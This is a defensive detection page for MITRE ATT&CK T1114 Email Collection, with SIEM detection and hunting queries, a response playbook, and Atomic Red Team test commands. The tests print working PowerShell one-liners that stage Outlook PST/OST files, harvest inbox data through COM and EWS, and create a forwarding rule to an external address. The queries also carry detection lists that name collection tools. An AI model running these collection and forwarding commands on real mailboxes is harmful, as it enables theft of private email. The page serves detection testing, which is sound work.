Email Collection
Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Emails may also contain details of ongoing incident response operations, which may allow adversaries to adjust their techniques to maintain persistence or evade defenses. Adversaries can collect or forward email from mail servers or clients. Sub-techniques cover local email file access (T1114.001), remote server collection via EWS/IMAP (T1114.002), and persistent inbox forwarding rules (T1114.003). Threat actors including Ember Bear, Silent Librarian, Magic Hound, Scattered Spider, and Emotet have all leveraged email collection as a high-value intelligence gathering technique.
What is T1114 Email Collection?
Email Collection (T1114) maps to the Collection tactic — the adversary is trying to gather data of interest to their goal in MITRE ATT&CK.
This page provides production-ready detection logic for Email Collection, covering the data sources and telemetry it touches: File: File Access, Application Log: Application Log Content, Microsoft Defender for Endpoint, Microsoft 365 Unified Audit Log. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Collection
- Technique
- T1114 Email Collection
- Canonical reference
- https://attack.mitre.org/techniques/T1114/
// T1114 Email Collection — covers local PST/OST access, bulk remote mailbox enumeration, and forwarding rule creation
let LegitEmailClients = dynamic(["outlook.exe", "thunderbird.exe", "SearchIndexer.exe", "SearchProtocolHost.exe", "MsMpEng.exe", "MsSense.exe", "msedge.exe"]);
let SuspiciousCollectionTools = dynamic(["cmd.exe", "powershell.exe", "pwsh.exe", "python.exe", "python3.exe", "wscript.exe", "cscript.exe", "mshta.exe", "robocopy.exe", "xcopy.exe", "7z.exe", "winrar.exe", "rar.exe", "curl.exe", "wget.exe"]);
// Branch 1: Non-email-client processes accessing local email data stores
let LocalEmailAccess = DeviceFileEvents
| where Timestamp > ago(24h)
| where ActionType in ("FileRead", "FileCopied", "FileCreated", "FileRenamed")
| where FileName has_any (".pst", ".ost", ".mbox", ".eml", ".msg", ".dbx", ".nsf")
| where InitiatingProcessFileName !in~ (LegitEmailClients)
| where FolderPath has_any (@"AppData\Local\Microsoft\Outlook", @"AppData\Roaming\Thunderbird", @"AppData\Local\Microsoft\Windows Mail", @"AppData\Roaming\Mozilla Thunderbird")
or InitiatingProcessFileName in~ (SuspiciousCollectionTools)
| project
Timestamp,
DeviceName,
AccountName,
FileName,
FolderPath,
ActionType,
InitiatingProcessFileName,
InitiatingProcessCommandLine,
ReportId,
DetectionBranch = "LocalEmailCollection";
// Branch 2: High-volume O365 mailbox access suggesting programmatic email harvesting
let RemoteEmailCollection = OfficeActivity
| where TimeGenerated > ago(24h)
| where Operation in ("MailItemsAccessed", "MessageBind", "FolderBind")
| where ResultStatus =~ "Succeeded"
| summarize
AccessCount = count(),
UniqueIPs = dcount(ClientIP),
ClientIPSet = make_set(ClientIP, 5),
UserAgentSet = make_set(UserAgent, 3)
by UserId, bin(TimeGenerated, 30m)
| where AccessCount > 200 or UniqueIPs > 3
| extend SuspicionFlag = case(
UserAgentSet has_any ("python", "curl", "requests", "java", "go-http", "urllib"), "AutomationUserAgent",
UniqueIPs > 3, "MultiIPAccess",
"HighVolumeAccess")
| project
Timestamp = TimeGenerated,
DeviceName = "",
AccountName = UserId,
FileName = "",
FolderPath = "",
ActionType = strcat("BulkMailboxAccess|", SuspicionFlag),
InitiatingProcessFileName = tostring(UserAgentSet),
InitiatingProcessCommandLine = strcat("IPs: ", tostring(ClientIPSet), " | Count: ", tostring(AccessCount)),
ReportId = "",
DetectionBranch = "RemoteEmailCollection";
LocalEmailAccess
| union RemoteEmailCollection
| sort by Timestamp desc Detects email collection across two vectors: (1) non-email-client processes (PowerShell, cmd, Python, archive tools) accessing local Outlook PST/OST files, Thunderbird profiles, or Windows Mail data stores via DeviceFileEvents; (2) bulk mailbox access via Exchange Online detected in OfficeActivity, identifying high-volume MailItemsAccessed/FolderBind operations or multi-IP access patterns indicative of programmatic email harvesting. The union approach covers both local and remote collection under the parent T1114 technique with a single alert.
Data Sources
Required Tables
False Positives
- Enterprise backup software (Veeam Agent, Backup Exec, Windows Server Backup) accessing PST/OST files during scheduled backup windows — exclude by known backup service account and initiating process path
- Email migration tools (MigrationWiz, BitTitan, native PST import via New-MailboxImportRequest) performing authorized mailbox migrations — coordinate with IT to exclude migration service accounts during migration windows
- Anti-virus and EDR scanning engines (MsMpEng.exe, SentinelAgent.exe) reading email files during on-demand or scheduled scans — already excluded by LegitEmailClients list, extend as needed
- IT administrators performing authorized mailbox exports for legal holds or e-discovery using Exchange Admin Center or New-MailboxExportRequest PowerShell cmdlet
- Microsoft 365 compliance and archiving solutions (Mimecast, Proofpoint Archive, Microsoft Purview) performing high-volume MailItemsAccessed for compliance journaling — exclude known archiving service accounts
Sigma rule & cross-platform mapping
The detection logic for Email Collection (T1114) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
product: azure Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for T1114
References (9)
- https://attack.mitre.org/techniques/T1114/
- https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-352a
- https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/
- https://trustedsec.com/blog/to-oob-or-not-to-oob-why-out-of-band-communications-are-essential-for-incident-response
- https://learn.microsoft.com/en-us/microsoft-365/compliance/search-the-audit-log-in-security-and-compliance
- https://learn.microsoft.com/en-us/exchange/policy-and-compliance/mailbox-audit-logging/mailbox-audit-logging
- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1114/T1114.md
- https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a
- https://learn.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-phishing-policies-about
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Copy Outlook PST/OST Files via PowerShell to Staging Directory
Expected signal: Sysmon Event ID 1: Process Create with Image=powershell.exe, CommandLine containing 'Get-ChildItem', 'Outlook', 'Copy-Item'. Sysmon Event ID 11: File creation events in %TEMP%\email_staging for each OST/PST copied. DeviceFileEvents (MDE): FileCopied action for .ost/.pst files with InitiatingProcessFileName=powershell.exe. DeviceProcessEvents: PowerShell process with command line referencing Outlook and Copy-Item.
- Test 2Enumerate Outlook Inbox via COM Object (MAPI)
Expected signal: Sysmon Event ID 1: PowerShell process with CommandLine containing 'Outlook.Application', 'MAPI', 'GetDefaultFolder'. Sysmon Event ID 7 (ImageLoad): Outlook interop DLLs (olmapi32.dll, MSPST32.dll) loaded into powershell.exe process. Sysmon Event ID 11: CSV file created at %TEMP%\email_harvest.csv. DeviceImageLoadEvents (MDE): non-Outlook process loading Outlook MAPI libraries.
- Test 3Remote Exchange Mailbox Enumeration via EWS SOAP Request
Expected signal: Sysmon Event ID 3: Network connection from powershell.exe to outlook.office365.com (40.99.x.x range) on destination port 443. DeviceNetworkEvents (MDE): OutboundConnectionAttempt or ConnectionSuccess from powershell.exe to Microsoft O365 EWS IP. PowerShell ScriptBlock Log (Event ID 4104): full SOAP request body including 'FindItem', 'inbox', 'EWS' strings. O365 Unified Audit Log: failed or successful MailItemsAccessed operation depending on authentication outcome.
- Test 4Create Malicious Inbox Forwarding Rule via Exchange Online PowerShell
Expected signal: Sysmon Event ID 1: PowerShell process with CommandLine containing 'New-InboxRule', 'ForwardTo', and target email address. PowerShell ScriptBlock Log (Event ID 4104): full script with New-InboxRule command and ForwardTo parameter value. O365 Unified Audit Log (if connection succeeds): New-InboxRule operation with Parameters showing [email protected]. Sysmon Event ID 3: PowerShell connecting to O365 PowerShell endpoint (*.outlook.com port 443).
Response Playbook
Triage
- Identify the initiating process: check the full executable path, digital signature (Get-AuthenticodeSignature), and parent process. Is it a known backup agent, AV scanner, or migration tool with a verifiable vendor signature?
- Examine the command line for collection intent: look for patterns like 'Get-ChildItem *.pst', 'Copy-Item', 'Invoke-WebRequest' to EWS endpoints, 'New-InboxRule -ForwardTo', or Python IMAP libraries (imaplib, exchangelib). Any archive tool (7z.exe, rar.exe) with an email file as source is high-confidence collection.
- Determine the destination: are email files being copied to a staging directory under %TEMP%, a removable drive (D:\, E:\), a network share (\\server\share), or a cloud sync folder (OneDrive, Dropbox)?
- Check the user context and schedule: did this occur during business hours? Is this a service account, admin, or regular user? Was there a recent ticket or change request for email export or archiving activity?
- For O365 alerts: review the UserAgent string and source IP. Legitimate O365 clients (Outlook, OWA) self-identify clearly. Unknown User-Agents (Python-urllib, curl, Java HTTP) or access from non-corporate IPs are high-risk indicators. Run: Search-UnifiedAuditLog -UserIds <user> -Operations MailItemsAccessed -StartDate (Get-Date).AddDays(-1) | Select ResultIndex, ResultCount
- Correlate with authentication events: did the user have a recent suspicious logon (new country, impossible travel, new device) in Azure AD SigninLogs or Security Event ID 4624/4648 before the email access?
- Check for inbox forwarding rules immediately: Get-InboxRule -Mailbox <user> | Where-Object {$_.ForwardTo -ne $null -or $_.RedirectTo -ne $null} — any external forwarding address not recognized by the user warrants immediate escalation.
Containment
- If active collection confirmed on endpoint: isolate the host via EDR network isolation to prevent exfiltration of collected PST/OST data while preserving forensic state
- If O365 account compromise confirmed: disable the account immediately (Set-MsolUser -UserPrincipalName <user> -BlockCredential $true), revoke all refresh tokens (Revoke-AzureADUserAllRefreshToken -ObjectId <userId>), and force MFA re-enrollment
- Remove any discovered inbox forwarding rules: Remove-InboxRule -Identity '<RuleName>' -Mailbox <user@domain> -Confirm:$false — document the rule target address before removal for threat intelligence
- Block the source IP or User-Agent at the Exchange Online Conditional Access policy or network perimeter if remote collection via EWS/IMAP was detected
- Identify and preserve staging directories where collected email data resides before the adversary exfiltrates: image the directory or copy files to a forensic share before any cleanup
- Notify the affected user's manager, legal counsel, and data protection officer — email archives frequently contain privileged attorney-client communications, regulated personal data (GDPR/HIPAA), or M&A-sensitive material requiring breach notification assessment
Evidence Collection
- Windows Security Event ID 4663 — Audit Object Access for the specific PST/OST file handles (requires SACL configuration on Outlook data directories); records ProcessId, ObjectName, AccessMask
- Sysmon Event ID 11 (FileCreate) — initiating process path and target filename for all email data file interactions
- Sysmon Event ID 1 (ProcessCreate) — full command line of scripts or tools used for collection, including parent process chain
- Sysmon Event ID 3 (NetworkConnect) — outbound connections from collection scripts to Exchange EWS, IMAP (port 993), POP3 (port 995), or SMTP (port 587) endpoints
- PowerShell ScriptBlock Logging Event ID 4104 — full deobfuscated script content if PowerShell was the collection vehicle; includes MAPI COM object interactions and Exchange Web Services calls
- O365 Unified Audit Log — MailItemsAccessed, MessageBind, FolderBind, SearchQueryInitiated, New-InboxRule, Set-InboxRule operations; retain via: Search-UnifiedAuditLog -RecordType ExchangeItem -UserIds <user>
- Exchange Message Tracking Log — records forwarded message delivery including rule-triggered ForwardTo destinations; query with: Get-MessageTrackingLog -EventId REDIRECT -Start <datetime>
- MFT (Master File Table) forensic acquisition — confirms file $STANDARD_INFORMATION and $FILE_NAME timestamps on PST/OST files to establish when collection actually occurred vs. when detected
- Browser SQLite artifacts — if collection used OWA (Outlook Web Access), session cookies and download history in %LOCALAPPDATA%\Microsoft\Edge\User Data or %APPDATA%\Mozilla\Firefox\Profiles
Escalation Criteria
- ! Email data files confirmed copied or staged to an external location (removable media, cloud storage, network share outside corporate infrastructure)
- ! O365 audit shows MailItemsAccessed for over 500 items in a 30-minute window from an unfamiliar IP, especially combined with a non-standard User-Agent
- ! Active inbox forwarding rule discovered directing mail to an external domain not recognized by the user or IT — this is immediate escalation regardless of volume
- ! Correlation with credential theft indicators (Sysmon Event ID 10 LSASS access, Mimikatz strings in process command lines, DCSync activity) prior to email collection — strongly suggests targeted espionage
- ! Collection activity across multiple user mailboxes from the same source IP or process (lateral movement + bulk collection pattern consistent with Silent Librarian and Scattered Spider TTPs)
- ! Sensitive email content confirmed in scope: legal proceedings, incident response communications (Scattered Spider actively searched for IR comms), M&A negotiations, executive correspondence
- ! Evidence of exfiltration attempt following collection: large file transfers, DNS-encoded data, or HTTPS POST to non-corporate cloud storage observed after email staging
Investigation Guide
Forensic Artifacts
- >
File System: %LOCALAPPDATA%\Microsoft\Outlook\*.pst and *.ost — primary Outlook email data stores; check $STANDARD_INFORMATION timestamps for unexpected last-accessed time - >
File System: %APPDATA%\Thunderbird\Profiles\<profile>\Mail\ and ImapMail\ — Thunderbird local mail storage directories - >
Registry: HKCU\Software\Microsoft\Office\<version>\Outlook\Profiles — Outlook profile configuration including server names and PST file paths - >
Registry: HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles — legacy MAPI profile paths pointing to PST locations - >
O365 Audit: Unified Audit Log via Compliance Center — MailItemsAccessed, SearchQueryInitiated, New-InboxRule, UpdateInboxRules operations with ClientIP and UserAgent - >
Exchange: Get-InboxRule -Mailbox <user> | Select Name,ForwardTo,RedirectTo,ForwardAsAttachmentTo,DeleteMessage — enumerates all inbox rules for suspicious forwarding targets - >
Exchange: Get-MailboxAuditLog -Identity <user> -LogonTypes Owner,Delegate,Admin — historical mailbox access log (if mailbox auditing enabled, which is default in O365 E3+) - >
Exchange On-Premises: Message Tracking Log at %ExchangeInstallPath%TransportRoles\Logs\MessageTracking\ — records REDIRECT events for rule-triggered forwarding - >
Network: Web proxy or firewall logs for HTTPS connections to /EWS/Exchange.asmx or /api/v2.0/me/messages (Graph API) from non-Outlook processes - >
Browser Artifacts: SQLite cookie databases in browser profiles for OWA session tokens; download history for email attachment saves
Tuning Guidance
The primary false positive source for the local collection branch is enterprise backup software — build an allowlist of known backup agent process paths (e.g., 'C:\Program Files\Veeam\Backup Agent\*') and exclude them by full path rather than filename only. For the O365 remote collection branch, establish per-user MailItemsAccessed baselines: the 95th percentile in most environments is under 50 operations per 30 minutes for regular users, though shared mailboxes, distribution lists, and executive assistants accessing delegate mailboxes can legitimately exceed 200. Tune the AccessCount threshold to 2-3x your environment's 95th percentile. The inbox forwarding rule hunting query (huntingQueries[2]) has the lowest false positive rate and should be promoted to a real-time scheduled alert running daily against a 24-hour window. For environments using Exchange on-premises rather than O365, replace OfficeActivity queries with queries against IIS W3C logs for /EWS/Exchange.asmx POST requests (high frequency from a single source IP) and MessageTrackingLog events with Source=ROUTING and EventId=REDIRECT.
Hunting Queries
Hunt for sustained non-standard process access to email data files over 7 days, grouped by host and user. FilesCopied events are weighted heavily (5x) in the risk score as they indicate deliberate collection rather than incidental scanning. Identifies patterns that may fall below per-event alert thresholds when spread over time.
// Hunt: Non-standard processes bulk-accessing email data files over 7 days
DeviceFileEvents
| where Timestamp > ago(7d)
| where FileName has_any (".pst", ".ost", ".mbox", ".eml", ".msg")
| where ActionType in ("FileRead", "FileCopied", "FileRenamed", "FileCreated")
| where InitiatingProcessFileName !in~ ("outlook.exe", "SearchIndexer.exe", "SearchProtocolHost.exe", "MsMpEng.exe", "MsSense.exe", "thunderbird.exe")
| summarize
AccessCount = count(),
FilesCopied = countif(ActionType == "FileCopied"),
UniqueEmailFiles = dcount(FileName),
UniqueTargetFolders = dcount(FolderPath),
ProcessSet = make_set(InitiatingProcessFileName, 10),
Earliest = min(Timestamp),
Latest = max(Timestamp)
by DeviceName, AccountName
| where AccessCount > 5 or FilesCopied > 0
| extend RiskScore = FilesCopied * 5 + AccessCount
| sort by RiskScore desc, FilesCopied desc index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=11
(TargetFilename="*.pst" OR TargetFilename="*.ost" OR TargetFilename="*.mbox" OR TargetFilename="*.eml" OR TargetFilename="*.msg")
NOT (Image="*\\outlook.exe" OR Image="*\\SearchIndexer.exe" OR Image="*\\SearchProtocolHost.exe" OR Image="*\\MsMpEng.exe")
earliest=-7d latest=now
| stats count as AccessCount, dc(TargetFilename) as UniqueFiles, values(Image) as Processes, earliest(_time) as Earliest, latest(_time) as Latest by host, User
| eval RiskScore=AccessCount * 1
| where AccessCount > 5
| sort - RiskScore Hunt for O365 accounts with anomalously high hourly mailbox access rates or automation-style User-Agents. Flags Python/curl/Java HTTP clients that indicate programmatic email harvesting via EWS or Graph API. Multi-IP access in a single hour suggests credential sharing or distributed collection tooling. Silent Librarian exfiltrated entire mailboxes using EWS; Scattered Spider searched Exchange for IR-related emails — both would match this pattern.
// Hunt: High-volume O365 mailbox access with suspicious User-Agents or multi-IP patterns
OfficeActivity
| where TimeGenerated > ago(7d)
| where Operation in ("MailItemsAccessed", "MessageBind", "FolderBind", "SearchQueryInitiated")
| where ResultStatus =~ "Succeeded"
| summarize
TotalOps = count(),
UniqueIPs = dcount(ClientIP),
IPList = make_set(ClientIP, 10),
UserAgents = make_set(UserAgent, 5),
OperationTypes = make_set(Operation)
by UserId, bin(TimeGenerated, 1h)
| where TotalOps > 500 or UniqueIPs > 3
| extend AutomationUA = UserAgents has_any ("python", "curl", "requests", "java", "go-http", "urllib", "httpx", "aiohttp")
| extend MultiIPFlag = UniqueIPs > 3
| extend HighVolumeFlag = TotalOps > 1000
| where AutomationUA or MultiIPFlag or HighVolumeFlag
| project TimeGenerated, UserId, TotalOps, UniqueIPs, IPList, UserAgents, AutomationUA, MultiIPFlag, HighVolumeFlag
| sort by TotalOps desc index=o365 sourcetype="o365:management:activity" (Operation="MailItemsAccessed" OR Operation="MessageBind" OR Operation="FolderBind" OR Operation="SearchQueryInitiated") ResultStatus="Succeeded" earliest=-7d latest=now
| bin _time span=1h
| stats count as TotalOps, dc(ClientIP) as UniqueIPs, values(UserAgent) as UserAgents by UserId, _time
| where TotalOps > 500 OR UniqueIPs > 3
| eval AutomationUA=if(match(mvjoin(UserAgents, " "), "(?i)(python|curl|requests|java|go-http|urllib|aiohttp|httpx)"), 1, 0)
| eval MultiIPFlag=if(UniqueIPs > 3, 1, 0)
| eval HighVolumeFlag=if(TotalOps > 1000, 1, 0)
| where AutomationUA=1 OR MultiIPFlag=1 OR HighVolumeFlag=1
| sort - TotalOps Hunt for inbox rule creation or modification containing forwarding/redirection parameters — the definitive indicator of T1114.003. Extends window to 30 days to catch rules created during initial access that may have been collecting email silently. Rules with DeleteMessage=true are highest priority as they hide forwarding from the victim. Nearly all results warrant analyst review as legitimate users rarely create programmatic forwarding rules, especially to external addresses.
// Hunt: Inbox forwarding rule creation pointing to external addresses (T1114.003)
OfficeActivity
| where TimeGenerated > ago(30d)
| where Operation in ("New-InboxRule", "Set-InboxRule", "UpdateInboxRules")
| extend Params = parse_json(Parameters)
| mv-expand Param = Params
| extend ParamName = tostring(Param.Name)
| extend ParamValue = tostring(Param.Value)
| where ParamName in ("ForwardTo", "RedirectTo", "ForwardAsAttachmentTo")
| where isnotempty(ParamValue)
| extend IsExternal = ParamValue !has_cs "@yourcompany.com"
| project TimeGenerated, UserId, ClientIP, UserAgent, Operation, ParamName, ParamValue, IsExternal
| sort by TimeGenerated desc index=o365 sourcetype="o365:management:activity" (Operation="New-InboxRule" OR Operation="Set-InboxRule" OR Operation="UpdateInboxRules") earliest=-30d latest=now
| eval HasForward=if(match(Parameters, "(?i)(ForwardTo|RedirectTo|ForwardAsAttachmentTo)"), 1, 0)
| where HasForward=1
| eval HasDelete=if(match(Parameters, "(?i)DeleteMessage.*true"), 1, 0)
| eval ForwardTarget=if(match(Parameters, "(?i)ForwardTo"), "ForwardTo", if(match(Parameters, "(?i)RedirectTo"), "RedirectTo", "ForwardAsAttachmentTo"))
| table _time, UserId, ClientIP, UserAgent, Operation, ForwardTarget, HasDelete, Parameters
| sort - _time Atomic Red Team Tests
Simulates local email collection by using PowerShell to enumerate and copy Outlook email data files to a temporary staging directory. This mirrors the behavior of nation-state actors and post-exploitation frameworks that stage local email archives before exfiltration. The test searches %LOCALAPPDATA%\Microsoft\Outlook for OST files and copies them to a staging folder under %TEMP%.
Command
powershell.exe -NoProfile -Command "$stagingDir = Join-Path $env:TEMP 'email_staging'; New-Item -ItemType Directory -Path $stagingDir -Force | Out-Null; $emailFiles = Get-ChildItem -Path (Join-Path $env:LOCALAPPDATA 'Microsoft\\Outlook') -Include '*.ost','*.pst' -Recurse -ErrorAction SilentlyContinue; foreach ($f in $emailFiles) { Copy-Item -Path $f.FullName -Destination $stagingDir -Force -ErrorAction SilentlyContinue }; Write-Output ('Staged ' + $emailFiles.Count + ' email files to ' + $stagingDir)" Cleanup
powershell.exe -Command "Remove-Item -Path (Join-Path $env:TEMP 'email_staging') -Recurse -Force -ErrorAction SilentlyContinue" Expected Telemetry
Sysmon Event ID 1: Process Create with Image=powershell.exe, CommandLine containing 'Get-ChildItem', 'Outlook', 'Copy-Item'. Sysmon Event ID 11: File creation events in %TEMP%\email_staging for each OST/PST copied. DeviceFileEvents (MDE): FileCopied action for .ost/.pst files with InitiatingProcessFileName=powershell.exe. DeviceProcessEvents: PowerShell process with command line referencing Outlook and Copy-Item.
Expected Detection
KQL LocalEmailAccess branch fires on FileCopied action for .ost files initiated by powershell.exe — does not match LegitEmailClients list. SPL SuspicionScore=4 (powershell.exe match = +3, .ost extension = +1). Both branches should generate events within seconds of command execution.
Uses PowerShell to instantiate an Outlook COM object and programmatically read inbox message metadata (subject, sender, timestamp). This technique is used by Emotet's email address harvesting module and credential-theft tools that scrape email contacts and message content without requiring direct PST file system access. Exports results to a CSV file in the temp directory.
Command
powershell.exe -NoProfile -Command "try { $ol = New-Object -ComObject Outlook.Application -ErrorAction Stop; $ns = $ol.GetNamespace('MAPI'); $inbox = $ns.GetDefaultFolder(6); $results = @(); $items = $inbox.Items | Select-Object -First 20; foreach ($item in $items) { $results += [PSCustomObject]@{Subject=$item.Subject; Sender=$item.SenderEmailAddress; Received=$item.ReceivedTime} }; $results | Export-Csv -Path (Join-Path $env:TEMP 'email_harvest.csv') -NoTypeInformation; Write-Output ('Harvested ' + $results.Count + ' items') } catch { Write-Output 'Outlook not available or not running' }" Cleanup
powershell.exe -Command "Remove-Item -Path (Join-Path $env:TEMP 'email_harvest.csv') -Force -ErrorAction SilentlyContinue" Expected Telemetry
Sysmon Event ID 1: PowerShell process with CommandLine containing 'Outlook.Application', 'MAPI', 'GetDefaultFolder'. Sysmon Event ID 7 (ImageLoad): Outlook interop DLLs (olmapi32.dll, MSPST32.dll) loaded into powershell.exe process. Sysmon Event ID 11: CSV file created at %TEMP%\email_harvest.csv. DeviceImageLoadEvents (MDE): non-Outlook process loading Outlook MAPI libraries.
Expected Detection
KQL DeviceImageLoadEvents can correlate MAPI DLL loading by powershell.exe: DeviceImageLoadEvents | where FileName has_any ('olmapi32.dll', 'MSPST32.dll') | where InitiatingProcessFileName !~ 'outlook.exe'. SPL SuspicionScore=3 (powershell.exe). CSV file creation at temp path is additional staging indicator.
Simulates remote email collection by making a SOAP request to Exchange Web Services (EWS) to enumerate inbox items. This mirrors techniques used by Silent Librarian (exfiltrated entire mailboxes via EWS) and Magic Hound (compromised email credentials for collection). The test constructs a FindItem EWS request using PowerShell's native .NET WebRequest — no external tools required. Authentication prompt will appear; use test credentials or dismiss to still generate the network telemetry.
Command
powershell.exe -NoProfile -Command "$ewsUrl = 'https://outlook.office365.com/EWS/Exchange.asmx'; $ewsSoap = '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"><soap:Body><FindItem xmlns="http://schemas.microsoft.com/exchange/services/2006/messages" Traversal="Shallow"><ItemShape><t:BaseShape>IdOnly</t:BaseShape></ItemShape><ParentFolderIds><t:DistinguishedFolderId Id="inbox"/></ParentFolderIds></FindItem></soap:Body></soap:Envelope>'; try { $req = [System.Net.WebRequest]::Create($ewsUrl); $req.Method = 'POST'; $req.ContentType = 'text/xml; charset=utf-8'; $req.Headers.Add('SOAPAction', 'http://schemas.microsoft.com/exchange/services/2006/messages/FindItem'); $bytes = [System.Text.Encoding]::UTF8.GetBytes($ewsSoap); $req.ContentLength = $bytes.Length; $stream = $req.GetRequestStream(); $stream.Write($bytes, 0, $bytes.Length); $stream.Close(); $resp = $req.GetResponse(); Write-Output 'EWS request succeeded' } catch { Write-Output ('EWS request attempted: ' + $_.Exception.Message) }" Expected Telemetry
Sysmon Event ID 3: Network connection from powershell.exe to outlook.office365.com (40.99.x.x range) on destination port 443. DeviceNetworkEvents (MDE): OutboundConnectionAttempt or ConnectionSuccess from powershell.exe to Microsoft O365 EWS IP. PowerShell ScriptBlock Log (Event ID 4104): full SOAP request body including 'FindItem', 'inbox', 'EWS' strings. O365 Unified Audit Log: failed or successful MailItemsAccessed operation depending on authentication outcome.
Expected Detection
DeviceNetworkEvents hunting query detects powershell.exe making HTTPS connections to O365 infrastructure. KQL RemoteEmailCollection branch fires if authentication succeeds and access count threshold met. PowerShell ScriptBlock Log captures the EWS SOAP body as a high-fidelity artifact.
Creates a test inbox forwarding rule that silently forwards all incoming email to an external address. This is the core T1114.003 behavior used by Scattered Spider (searched for IR-related email) and state-sponsored actors for persistent collection. The rule target uses a clearly non-malicious test domain. The rule is removed immediately after creation to minimize impact.
Command
powershell.exe -NoProfile -Command "try { Import-Module ExchangeOnlineManagement -ErrorAction Stop; Connect-ExchangeOnline -ShowBanner:$false; New-InboxRule -Name 'T1114-TestRule' -ForwardTo '[email protected]' -StopProcessingRules $false -ErrorAction Stop; Write-Output 'Forwarding rule created - check O365 audit log for New-InboxRule event' } catch { Write-Output ('Module or connection failed: ' + $_.Exception.Message + ' - EXO module may not be installed, but process telemetry still fires') }" Cleanup
powershell.exe -Command "try { Remove-InboxRule -Identity 'T1114-TestRule' -Confirm:$false -ErrorAction SilentlyContinue; Disconnect-ExchangeOnline -Confirm:$false -ErrorAction SilentlyContinue } catch {}" Expected Telemetry
Sysmon Event ID 1: PowerShell process with CommandLine containing 'New-InboxRule', 'ForwardTo', and target email address. PowerShell ScriptBlock Log (Event ID 4104): full script with New-InboxRule command and ForwardTo parameter value. O365 Unified Audit Log (if connection succeeds): New-InboxRule operation with Parameters showing [email protected]. Sysmon Event ID 3: PowerShell connecting to O365 PowerShell endpoint (*.outlook.com port 443).
Expected Detection
KQL Hunting Query 3 (forwarding rule hunt) fires immediately on New-InboxRule Operation with ForwardTo parameter in OfficeActivity. SPL forwarding rule query matches on ForwardTo in Parameters field. This is the highest-fidelity atomic test — inbox forwarding rule creation to external addresses has an extremely low false positive rate and should auto-escalate.